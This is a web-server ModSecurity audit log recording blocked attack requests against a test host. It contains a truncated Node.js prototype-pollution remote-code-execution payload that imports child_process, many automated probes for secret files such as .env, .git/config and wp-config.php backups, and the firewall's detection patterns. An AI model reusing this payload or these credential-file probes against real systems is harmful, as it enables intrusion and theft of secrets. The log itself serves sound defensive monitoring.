[Mon Jan 26 04:19:08.376664 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.378370 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Rule 7f82424d0320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.378504 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Rule 7f82424c7030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.385152 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.385323 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 19:22:42.804756 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXew8kQ38vz4-ZGJbruKpwAAAA8&quot;]
[Mon Jan 26 19:22:42.804913 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXew8kQ38vz4-ZGJbruKpwAAAA8&quot;]
[Mon Jan 26 19:22:42.805050 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXew8kQ38vz4-ZGJbruKpwAAAA8&quot;]
[Mon Jan 26 19:22:43.088713 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrgAAAA8&quot;]
[Mon Jan 26 19:22:43.088841 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrgAAAA8&quot;]
[Mon Jan 26 19:22:43.088991 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrgAAAA8&quot;]
[Mon Jan 26 19:22:43.089124 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrgAAAA8&quot;]
[Mon Jan 26 19:22:43.109759 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrwAAAA8&quot;]
[Mon Jan 26 19:22:43.109913 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrwAAAA8&quot;]
[Mon Jan 26 19:22:43.110070 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKrwAAAA8&quot;]
[Mon Jan 26 19:22:43.130870 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsAAAAA8&quot;]
[Mon Jan 26 19:22:43.131031 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsAAAAA8&quot;]
[Mon Jan 26 19:22:43.131161 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsAAAAA8&quot;]
[Mon Jan 26 19:22:43.151747 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsQAAAA8&quot;]
[Mon Jan 26 19:22:43.151904 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsQAAAA8&quot;]
[Mon Jan 26 19:22:43.152045 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsQAAAA8&quot;]
[Mon Jan 26 19:22:43.172780 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsgAAAA8&quot;]
[Mon Jan 26 19:22:43.172974 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsgAAAA8&quot;]
[Mon Jan 26 19:22:43.173182 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKsgAAAA8&quot;]
[Mon Jan 26 19:22:43.200025 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKswAAAA8&quot;]
[Mon Jan 26 19:22:43.200205 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKswAAAA8&quot;]
[Mon Jan 26 19:22:43.200349 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKswAAAA8&quot;]
[Mon Jan 26 19:22:43.220860 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtAAAAA8&quot;]
[Mon Jan 26 19:22:43.220994 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtAAAAA8&quot;]
[Mon Jan 26 19:22:43.221170 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtAAAAA8&quot;]
[Mon Jan 26 19:22:43.221314 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtAAAAA8&quot;]
[Mon Jan 26 19:22:43.264269 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] 